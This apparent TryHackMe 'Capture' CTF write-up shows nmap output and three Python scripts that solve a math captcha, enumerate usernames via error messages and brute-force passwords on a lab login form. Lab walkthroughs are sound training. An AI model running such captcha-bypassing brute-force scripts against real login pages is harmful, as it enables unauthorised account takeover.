THM Capture
THM Capture
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 15:40 +07
Nmap scan report for 10.10.236.121
Host is up (0.31s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug/2.2.2 Python/3.8.10
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /login
|_http-server-header: Werkzeug/2.2.2 Python/3.8.10
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Sat, 06 May 2023 08:41:04 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Sat, 06 May 2023 08:40:57 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 199
| Location: /login
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Sat, 06 May 2023 08:40:58 GMT
| Content-Type: text/html; charset=utf-8
| Allow: GET, HEAD, OPTIONS
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
Web enumeratio
Login form with username and password provided.
Try brute-force with `Intruder’ –> After 10 requests, the website ask math captcha.
Time to write a script solve math captcha to brute-force
View `Hint’
1
Look at the error messages from the application when attempting to log in. Enumerate to discover the username (firstname). Then enumerate once more to discover the password.
Brute-force username first
ignore proxy if you dont open burpsuite
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import re
url = "http://10.10.32.158/login"
# ignore proxy if you dont open burpsuite
proxy = {"http":"127.0.0.1:8080"}
credentials = {"username":"admin", "password":"admin", "captcha":"1"}
username = open("usernames.txt", "r")
password = open("passwords.txt", "r")
#Function to extract math captcha question
def extract_captcha(html):
captcha_regex = r'(\d+)\s*([\+\-\*])\s*(\d+)\s*=\s*\?'
match = re.search(captcha_regex, html)
if match:
num1 = int(match.group(1))
operator = match.group(2)
num2 = int(match.group(3))
if operator == '+':
answer = num1 + num2
elif operator == '-':
answer = num1 - num2
elif operator == '*':
answer = num1 * num2
return answer
else:
return None
captcha_answer = 1
#Brute-force username
for name in username.read().splitlines():
credentials = {"username": name, "password": 'password',"captcha": captcha_answer}
# ignore proxy if you dont open burpsuite
req = requests.post(url, proxies = proxy, data = credentials)
captcha_answer = extract_captcha(req.text)
message_captcha = re.search(r'Error:</strong> Invalid captcha', req.text)
message_catch = re.search(r'Error:</strong> The user(.+)', req.text)
if message_catch:
error_message = message_catch.group(1)
print(f"{name} Error message: {error_message}")
# Because first entry error invalid captcha :)). We can actually skip this elif.
elif message_captcha:
print(f"{name} Error message: {message_captcha}")
else:
print(f"Username: {name}")
break
Brute-force password
ignore proxy if you dont open burpsuite
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import re
url = "http://10.10.32.158/login"
# ignore proxy if you dont open burpsuite
proxy = {"http":"127.0.0.1:8080"}
credentials = {"username":"admin", "password":"admin", "captcha":"1"}
username = open("usernames.txt", "r")
password = open("passwords.txt", "r")
#Function to extract math captcha question
def extract_captcha(html):
captcha_regex = r'(\d+)\s*([\+\-\*])\s*(\d+)\s*=\s*\?'
match = re.search(captcha_regex, html)
if match:
num1 = int(match.group(1))
operator = match.group(2)
num2 = int(match.group(3))
if operator == '+':
answer = num1 + num2
elif operator == '-':
answer = num1 - num2
elif operator == '*':
answer = num1 * num2
return answer
else:
return None
captcha_answer = 1
# Brute force password
for passwd in password.read().splitlines():
credentials = {"username": 'natalie', "password": passwd,"captcha": captcha_answer}
# ignore proxy if you dont open burpsuite
req = requests.post(url, proxies = proxy, data = credentials)
captcha_answer = extract_captcha(req.text)
message_passwd = re.search(r'Error(.+)', req.text)
if message_passwd:
error_message = message_passwd.group(1)
print(f"{passwd} - Error message: {error_message}")
else:
print(f"Login credential: natalie and {passwd}")
break
Brute-force both
ignore proxy if you dont open burpsuite
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import re
url = "http://10.10.32.158/login"
# ignore proxy if you dont open burpsuite
proxy = {"http":"127.0.0.1:8080"}
credentials = {"username":"admin", "password":"admin", "captcha":"1"}
username = open("usernames.txt", "r")
password = open("passwords.txt", "r")
#Function to extract math captcha question
def extract_captcha(html):
captcha_regex = r'(\d+)\s*([\+\-\*])\s*(\d+)\s*=\s*\?'
match = re.search(captcha_regex, html)
if match:
num1 = int(match.group(1))
operator = match.group(2)
num2 = int(match.group(3))
if operator == '+':
answer = num1 + num2
elif operator == '-':
answer = num1 - num2
elif operator == '*':
answer = num1 * num2
return answer
else:
return None
captcha_answer = 1
for name in username.read().splitlines():
credentials = {"username": name, "password": 'password',"captcha": captcha_answer}
req = requests.post(url, proxies = proxy, data = credentials)
captcha_answer = extract_captcha(req.text)
message_username = re.search(r'Error:</strong> Invalid password(.+)', req.text) #Get message with valid username
# In the wild, login form usualy use same message for invalid username or invalid passord like
# "Invalid credential"
# ......
# We can use regex r'Error(.+)' for message
print(message_username)
if message_username:
for passwd in password.read().splitlines():
credentials = {"username": name, "password": passwd,"captcha": captcha_answer}
# ignore proxy if you dont open burpsuite
req = requests.post(url, proxies = proxy, data = credentials)
captcha_answer = extract_captcha(req.text)
message_passwd = re.search(r'Error(.+)', req.text) # Get message invalid password
if message_passwd:
error_message = message_passwd.group(1)
print(f"{passwd} - Error message: {error_message}")
else:
print(f"Login credential: {name} and {passwd}.")
break
This post is licensed under CC BY 4.0 by the author.